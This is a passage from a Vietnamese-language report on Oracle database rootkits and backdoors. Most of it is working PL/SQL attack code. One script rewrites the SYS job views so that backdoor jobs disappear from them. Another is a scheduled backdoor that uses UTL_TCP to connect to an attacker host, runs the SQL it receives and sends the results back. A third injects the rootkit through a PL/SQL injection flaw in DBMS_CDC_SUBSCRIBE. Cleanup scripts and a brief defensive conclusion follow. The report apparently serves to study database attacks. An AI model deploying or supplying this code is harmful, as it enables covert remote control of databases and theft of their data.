Mô tả tấn công Oracle sử dụng rootkit kết hợp với backdoor

Một phần của tài liệu Tấn công rootkit trong Oracle (doc) (Trang 50)

- Chỉnh sửa một public synonym và tạo một local object mới

1.1.14. Mô tả tấn công Oracle sử dụng rootkit kết hợp với backdoor

Để lấy dữ liệu từ database, cách thức phù hợp nhất là kết hợp rootkit database và backdoor database. Backdoor cho phép attacker thực hiện câu lệnh và truy vấn database từ xa và nhận hồi đáp từ server. Attacker rõ ràng không muốn các hành vi của mình bị DBA phát hiện, vì vậy attacker

thường kết hợp cài backdoor với rootkit để che giấu hoạt động của backdoor.

Ở đây chúng ta sẽ tạo một chương trình backdoor, sử dụng một chức năng network có sẵn để mở một kết nối tới vị trí của attacker. Chương trình sẽ đọc kết nối và thực hiện các câu lệnh attacker gửi tới. Sau đó gửi lại kết quả thực hiện của câu lệnh. Chương trình backdoor có thể được lập lịch, sử dụng chức năng job để nếu kết nối bị mất hoặc database instance bị restart thì attacker vẫn có thể kết nối tại thời điểm sau đó. Để tránh bị phát hiện, kết nối giữa backdoor và attacker có thể được mã hóa hoặc đóng gói theo một cách nào đấy nhằm tránh sự phát hiện của hệ thống IDS, IPS.

Backdoor cài đặt trên database server, còn backdoor console chạy trên host của attacker sẽ giao tiếp qua giao thức TCP/IP. Backdoor console lắng nghe trên một TCP port xác định trước, đợi kết nối từ backdoor.

Chúng ta sẽ tạo một các rootkit và backdoor bằng mã PL/SQL

Tạo rootkit Oraclerootkit.sql

Mã này sẽ tạo một function để chỉnh sửa data dictionary view Dba_jobs, dba_jobs_running, Ku$_job_view để che giấu backdoor job. Function này có thể được inject vào bất kỳ lỗ hổng SQL injection nào.

Code ẩn connection giữa backdoor và backdoor console: CREATE OR REPLACE

FUNCTION ins_rootkit RETURN VARCHAR2 AUTHID CURRENT_USER AS

PRAGMA AUTONOMOUS_TRANSACTION; BEGIN

Code ẩn connection giữa backdoor và backdoor console trong sys.dba_jobs:

EXECUTE IMMEDIATE 'CREATE OR REPLACE FORCE VIEW "SYS"."DBA_JOBS" ("JOB",

"LOG_USER", "PRIV_USER", "SCHEMA_USER", "LAST_DATE", "LAST_SEC", "THIS_DATE",

"THIS_SEC", "NEXT_DATE", "NEXT_SEC", "TOTAL_TIME", "BROKEN", "INTERVAL",

select JOB, lowner LOG_USER, powner PRIV_USER, cowner SCHEMA_USER,

LAST_DATE, substr(to_char(last_date,''HH24:MI:SS''),1,8) LAST_SEC,

THIS_DATE, substr(to_char(this_date,''HH24:MI:SS''),1,8) THIS_SEC, NEXT_DATE, substr(to_char(next_date,''HH24:MI:SS''),1,8)

NEXT_SEC,

(total+(sysdate-nvl(this_date,sysdate)))*86400 TOTAL_TIME, decode(mod(FLAG,2),1,''Y'',0,''N'',''?'') BROKEN,

INTERVAL# interval, FAILURES, WHAT,

nlsenv NLS_ENV, env MISC_ENV, j.field1 INSTANCE from sys.job$ j WHERE j.what not like ''DECLARE l_cn UTL_TCP.CONNECTION;%''';

Code ẩn connection giữa backdoor và backdoor console trong sys.dba_jobs_running:

EXECUTE IMMEDIATE 'CREATE OR REPLACE FORCE VIEW "SYS"."DBA_JOBS_RUNNING"

("SID", "JOB", "FAILURES", "LAST_DATE", "LAST_SEC", "THIS_DATE", "THIS_SEC",

"INSTANCE") AS

select v.SID, v.id2 JOB, j.FAILURES,

LAST_DATE, substr(to_char(last_date,''HH24:MI:SS''),1,8) LAST_SEC,

THIS_DATE, substr(to_char(this_date,''HH24:MI:SS''),1,8) THIS_SEC, j.field1 INSTANCE

from sys.job$ j, v$lock v

where v.type = ''JQ'' and j.job (+)= v.id2 and j.what not like ''DECLARE l_cn UTL_TCP.CONNECTION;%''';

Code ẩn connection giữa backdoor và backdoor console trong sys.ku$_job_t:

EXECUTE IMMEDIATE 'CREATE OR REPLACE FORCE VIEW "SYS"."KU$_JOB_VIEW" OF

"SYS"."KU$_JOB_T"

WITH OBJECT IDENTIFIER (powner_id) AS select ''1'',''0'',

u.user#, j.powner, j.lowner, j.cowner, j.job,

TO_CHAR(j.last_date, ''YYYY-MM-DD:HH24:MI:SS''), TO_CHAR(j.this_date, ''YYYY-MM-DD:HH24:MI:SS''), TO_CHAR(j.next_date, ''YYYY-MM-DD:HH24:MI:SS''), j.flag, j.failures, REPLACE(j.interval#, '''''''', ''''''''''''), REPLACE(j.what, '''''''', ''''''''''''), REPLACE(j.nlsenv, '''''''', ''''''''''''), j.env, j.field1, j.charenv

from sys.job$ j, sys.user$ u

where j.powner = u.name and j.what not like ''DECLARE l_cn UTL_TCP.CONNECTION;%''';

COMMIT; RETURN ''; END;

Tạo OracleBackdoor.sql

Mã này tạo một function thực hiện job đọc command từ host của attacker, thực thi chúng và gửi command output trở về cho attacker.

Tạo một function ins_backdoor thực thi với quyền của user gọi nó, function có đặc tính là autonomous transaction để sau đó nó có thể được sử dụng trong SQL injection.

CREATE OR REPLACE

FUNCTION ins_backdoor RETURN VARCHAR2 AUTHID CURRENT_USER AS

PRAGMA AUTONOMOUS_TRANSACTION; job_id NUMBER;

BEGIN

Đưa một job sử dụng chức năng job trong package dbms_job. Để kết nối tcp/ip với backdoor console nó sử dụng package chuẩn utl_tcp của Oracle:

DBMS_JOB.SUBMIT(job_id, 'DECLARE l_cn UTL_TCP.CONNECTION; l_ret_val PLS_INTEGER; l_sqlstm VARCHAR2(32000); l_thecursor INTEGER; l_columnvalue VARCHAR2(2000); l_status INTEGER;

l_colcnt NUMBER DEFAULT 0; l_desc_t DBMS_SQL.DESC_TAB; BEGIN

Mở một kết nối tới host của attacker nơi đặt backdoor console. Trong scritp này là 192.168.2.100, TCP port là 4444.

l_cn := UTL_TCP.OPEN_CONNECTION(''192.168.2.100, 4444, 1521); Lấy thông tin về database và gửi nó qua kết nối TCP dưới dạng XML: SELECT DBID, NAME INTO l_colcnt, l_sqlstm FROM V$DATABASE; SELECT banner INTO l_columnvalue FROM V$VERSION WHERE ROWNUM = 1; l_ret_val := UTL_TCP.WRITE_LINE(l_cn, ''<?xml version="1.0" encoding="utf-8" ? ><IncommingConn xmlns="http://tempuri.org/IncomingBackdoorConn.xsd" DBType="Oracle" ServerVersion="'' || l_columnvalue || ''" DBName="'' || l_sqlstm || ''" DBID="'' || l_colcnt || ''"/>'');

LOOP

l_sqlstm := UTL_TCP.GET_LINE(l_cn, TRUE); EXIT WHEN UPPER(l_sqlstm) = ''EXIT''; BEGIN

l_thecursor := DBMS_SQL.OPEN_CURSOR;

Nếu câu lệnh SQL nhận được là Select, đầu tiên nó sẽ lấy tất cả tên cột và gửi chúng về để backdoor console hiển thị các column header này tập trung.

IF(SUBSTR(LTRIM(UPPER(l_sqlstm)), 1, 7)) = ''SELECT '' THEN DBMS_SQL.PARSE(l_thecursor, l_sqlstm, DBMS_SQL.NATIVE);

DBMS_SQL.DESCRIBE_COLUMNS(l_thecursor, l_colcnt, l_desc_t); FOR i IN 1 .. l_colcnt LOOP

l_ret_val := UTL_TCP.WRITE_LINE(l_cn, '''' || l_desc_t(i).col_name); DBMS_SQL.DEFINE_COLUMN(l_thecursor, i, l_columnvalue, 2000);

END LOOP; l_ret_val := UTL_TCP.WRITE_LINE(l_cn, ''''); DBMS_SQL.DEFINE_COLUMN(l_thecursor, 1, l_columnvalue, 2000); l_status := DBMS_SQL.EXECUTE(l_thecursor); LOOP EXIT WHEN(DBMS_SQL.FETCH_ROWS(l_thecursor) <= 0); FOR i IN 1 .. l_colcnt LOOP DBMS_SQL.COLUMN_VALUE(l_thecursor, i, l_columnvalue); l_ret_val := UTL_TCP.WRITE_LINE(l_cn, '''' || l_columnvalue); END LOOP;

l_ret_val := UTL_TCP.WRITE_LINE(l_cn, ''''); END LOOP;

DBMS_SQL.CLOSE_CURSOR(l_thecursor); ELSE

Nếu câu lệnh SQL nhận được không phải là Select thì thực thi nó dùng execute immediate:

EXECUTE IMMEDIATE(l_sqlstm);

l_ret_val := UTL_TCP.WRITE_LINE(l_cn, ''PL/SQL successfully completed.'');

END IF; EXCEPTION

Nếu có lỗi báo về, gửi mô tả về kết nối: WHEN OTHERS THEN

l_ret_val := UTL_TCP.WRITE_LINE(l_cn, ''ORACLE ERROR: '' || sqlerrm);

END;

l_ret_val := UTL_TCP.WRITE_LINE(l_cn, ''[[EnD]]''); END LOOP;

UTL_TCP.CLOSE_CONNECTION(l_cn); END;

Sysdate + 10/86400 là thời gian mà job phải start lần đầu. Đó là sau thời điểm submit 10 giây. ‘Sysdate + 1/1440’ có nghĩa là job sẽ chạy 1 phút/lần.

', SYSDATE + 10/86400, 'SYSDATE + 1/1440'); COMMIT;

RETURN ''; END;

Xóa Backdoor CleanOracleBackdoor.sql

Script này sẽ remove tất cả backdoor job. Nó sẽ tìm kiếm tất cả database job bắt đầu bằng 'DECLARE L_CN UTL_TCP.CONNECTION;' và loại bỏ chúng sử dụng dbms_job.remove.

DECLARE

CURSOR l_cur_jobs IS

SELECT JOB FROM JOB$ WHERE WHAT LIKE 'DECLARE l_cn UTL_TCP.CONNECTION;%';

l_rec l_cur_jobs % rowtype; BEGIN

OPEN l_cur_jobs; LOOP

FETCH l_cur_jobs INTO l_rec;

EXIT WHEN l_cur_jobs % NOTFOUND; DBMS_JOB.REMOVE(l_rec.job);

COMMIT; END LOOP; COMMIT; END;

Xóa Rootkit CleanOracleRootkit.sql

Khôi phục data dictionary view trở về trạng thái ban đầu, nó sẽ tương tự như OracleRootkit.sql nhưng không có điều kiện mà chúng ta đã add thêm để giấu backdoor.

Sau khi đã tạo, chúng ta sẽ chạy các script này bằng user dba. Sử dụng lỗ hổng PL/SQL injection trong procedure dbms_cdc_subscribe .get_subscription_handle, tham số change_set như sau:

DECLARE

P_CHANGE_SET VARCHAR2(32767); P_DESCRIPTION VARCHAR2(32767); P_SUBSCRIPTION_HANDLE NUMBER;

BEGIN P_CHANGE_SET := '''||SCOTT.ins_rootkit()||'''; P_DESCRIPTION := 'AA'; P_SUBSCRIPTION_HANDLE := 1; SYS.DBMS_CDC_SUBSCRIBE.GET_SUBSCRIPTION_HANDLE(P_CH ANGE_SET, P_DESCRIPTION, P_SUBSCRIPTION_HANDLE); END;

KẾT LUẬN

Database được coi là những tài sản có giá trị nhất của một công ty. Nếu database không hoạt động, công ty đó cũng không thể thực hiện các giao dịch, và chúng ta có thể thấy thiệt hại sẽ được tính theo từng giờ không hoạt động của database. DB là phần trong cùng của hệ thống, bao bọc phía ngoài nó có thể là web application, internal networks, partner network, và cũng là từng ấy điểm để có thể truy nhập vào database. Và cho dù OS và network được đảm bảo an toàn thì database vẫn có thể bị tấn công qua các lỗ hổng tràn bộ đệm, SQL injection, đoán password, rootkit, backdoor… Vì vậy việc đảm bảo an toàn cho DB (bao gồm đảm bảo tính bí mật, toàn vẹn và sẵn sang của dữ liệu) cũng quan trọng và cần thiết không kém gì an toàn cho OS hay các ứng dụng khác.

TÀI LIỆU THAM KHẢO

[1]. Chip Dawes, Bob Bryla- “Oracle Administration Workshop I”- 2004

[2]. Ruth Baylis – “Oracle® Database – Reference 10g Release 1 (10.1) Part No. B10755-01” – 2003.

[3]. Sumit Jeloka- “Oracle® Database Security Guide 10g Release 2 (10.2) B14266-05”

[4].Colin Mcgregor - “Oracle Database 2 Day DBA, 10g Release 2 (10.2)”

[5].Alexander Kornbrust &Red Database Security GmbH - “Oracle Rootkit 2.0” - 02-August-06.

Một phần của tài liệu Tấn công rootkit trong Oracle (doc) (Trang 50)